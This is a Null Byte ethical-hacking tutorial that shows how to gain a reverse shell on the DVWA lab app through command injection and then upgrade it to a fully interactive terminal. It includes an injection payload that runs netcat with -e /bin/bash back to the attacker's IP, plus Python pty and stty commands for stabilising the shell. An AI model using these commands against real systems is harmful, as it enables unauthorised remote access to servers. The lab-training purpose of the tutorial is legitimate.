How to Upgrade a Dumb Shell to a Fully Interactive Shell for More Flexibility « Null Byte :: WonderHowTo

One of the most exciting things as an ethical hacker, in my opinion, is catching areverse shell. But often, these shells are limited, lacking the full power and functionality of a proper terminal. Certain things don't work in these environments, and they can be troublesome to work with. Luckily, with a few commands, we can upgrade to a fully interactive shell with all the bells and whistles.It can often be frustrating when working with reverse shells if all you have is a "dumb" shell. A dumb shell is a type of shell that doesn't have a proper terminal's full functionality. That means things like tab completion, keyboard shortcuts, andterminal historysimply aren't present.Specific commands likesuwill not work in dumb shells, which makes things complicated when trying differentprivilege escalationtechniques.Text editorsdon't work very well in these conditions either, which can be a pain.Don't Miss:Use Command Injection to Pop a Reverse Shell on a Web ServerPerhaps the most annoying thing that can happen (I'm sure it's happened to many of you) is accidentally losing your session by hitting the wrong keys. Let's say you run a command, and it hangs, and you instinctively hitControl-Cto cancel it. Well, there goes your shell. It can be infuriating, especially if there were a lot of steps to get that shell.With a littlecommand-line magic, we can get around this limitation, though, and come out on top with a fully functional interactive shell.Step 1: Get a Limited ShellTo get started, we will usecommand injection to obtain our initial shell. To demonstrate, we'll be using DVWA (Damn Vulnerable Web App), but you can use a similar testing configuration. Browse toDVWAand log in using the default credentials.Next, go to the "DVWA Security" page, and change the security level to low. Doing so will ensure everything works properly.Now, on Kali, we can start a listener withNetcatto catch any incoming connections to our machine. The flags can all be grouped as-lvp, where-lstarts a listener,-vmakes it verbose, and-pspecifies the port (1234, in this exercise).~# nc -lvp 1234

listening on [any] 1234 ...Back in DVWA, navigate to the "Command Execution" page. It will allow us to tack on a system command to the default functionality of pinging an IP address.The entire command is seen below. It tells the target to connect to our machine on port 1234 via Netcat, and then execute abash shell.localhost && nc 10.10.0.1 1234 -e /bin/bashOnce we hit the "submit" button, we should see a connection open up on our listener. There won't be a prompt, instead only a blinking cursor will appear.10.10.0.50: inverse host lookup failed: Unknown host
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 52685It's what a lot of shells look like, especially after popping them from aweb application. If we run a command likeidthough, we can see it is working.id

uid=33(www-data) gid=33(www-data) groups=33(www-data)Step 2: Spawn a Bash ShellOne of the easiest and most reliable ways to upgrade a dumb shell to a fully interactive shell can be done withPython. Chances are, if the target is a Linux box, it is going to have some version of Python installed.First, check which version of Python is installed with thewhichcommand.which python

/usr/bin/pythonIt will usually show python or python3. Now we can use this to spawn a proper bash shell. Below, the-cflag specifies the command to run. In this case, it first imports theptymodule. The pty module offers pseudo-terminal abilities to the shell, which is useful for some commands that require a terminal environment to run. Then, it spawns a bash shell, and after we hitEnter, we should see a real prompt.python -c 'import pty;pty.spawn("/bin/bash")'

www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$Now that is a little better, but we still don't have tab completion or command history, and if we hitControl-Cit will still exit the session. Next, we will upgrade to a fully functional shell with a little Linux fu.Step 3: Upgrade to Interactive ShellThe next thing we need to do might seem counterintuitive, but background the shell withControl-Z.www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ ^Z

[1]+  Stopped                 nc -lvp 1234
root@drd:~#We need some information about our own terminal, so use theechocommand to display the current terminal that's set.~# echo $TERM

xterm-256colorAnd enterstty -ato view its characteristics.~# stty -a

speed 38400 baud; rows 56; columns 213; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extprocMake a note of the number of rows and columns. Next, enter the following command which will allow us to pass keyboard shortcuts through.~# stty raw -echoNow, typefgto foreground our shell running in the background. You won't be able to see those letters on the screen as you type, but hitEnterafterward, and the Netcat command will appear automatically. Next, typeresetto reset the terminal. It will look weird when you type it, but it works.~# nc -lvp 1234
               resetIt may ask to set the terminal type. Sometimes the color version ofxtermwon't work, so we can just use the regular xterm instead.reset: unknown terminal type unknown
Terminal type? xterm-256color

reset: unknown terminal type xterm-256color
Terminal type? xtermIf you can't clear the screen or use the up arrow to view history at this point, use the following commands to set the terminal type and shell once more.www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ export TERM=xterm
www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ export SHELL=bashNow the only thing that's left to do is set the appropriate size of the terminal. Sometimes if we are drilled way down into a directory or have a really long prompt, the input will wrap around and be difficult to read. By setting the rows and columns to the same as our native terminal, we can avoid this.www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ stty rows 56 columns 213We now have a fully interactive shell that will allow us to use keyboard shortcuts, clear the screen, remember history, and have all the same functionality of your favorite local terminal — all over a Netcat connection.Wrapping UpToday, we learned about dumb shells and their limitations, as well as what can go wrong when using them. First, we got our initial shell via command injection. We then used Python to spawn a bash shell, and finally, we were able to mirror our current terminal configuration to upgrade to a fully interactive shell. With this technique, you can now reverse shell in style.Don't Miss:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTatiana Shepeleva/123RF; Screenshots by drd_/Null ByteRelatedHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHow To:Upgrade a Normal Command Shell to a Metasploit MeterpreterHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHow To:Find & Exploit SUID Binaries with SUID3NUMHow To:Get Root with Metasploit's Local Exploit SuggesterHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:You Deserve Taco Shells Made of CheeseHow To:Five Ways to Repurpose Shellfish ShellsHow To:Use a Misconfigured SUID Bit to Escalate Privileges & Get RootHow To:Make DIY Decorative Shell Dresser KnobsHow To:Go Retro with These Classic-Style Start Menus for Windows 10How To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Use Command Injection to Pop a Reverse Shell on a Web ServerNews:Change from BASH to zshHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterMario Kart Wii:How to Dodge a Blue ShellNews:Paint "Balls"How To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreScrabble Bingo of the Day:PLASTRUMHow To:Get the 'For Whom the Shell Tolls' Achievement in Modern Warfare 3News:Rigging A Blue CrabNews:Secure Shell Chrome Application is now available!News:ASTON 2-(SUPERB SHELL REPLACEMENT)News:Rigging a Fiddler CrabNews:Dumb and Dumber Inception Style TrailerAntibubbles in Microgravity:NASA Astronaut Experiments with Centrifugal Force in SpaceHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Add Recycle Bin Icon to Windows 7 TaskbarNews:Toilet Paper Wedding Dress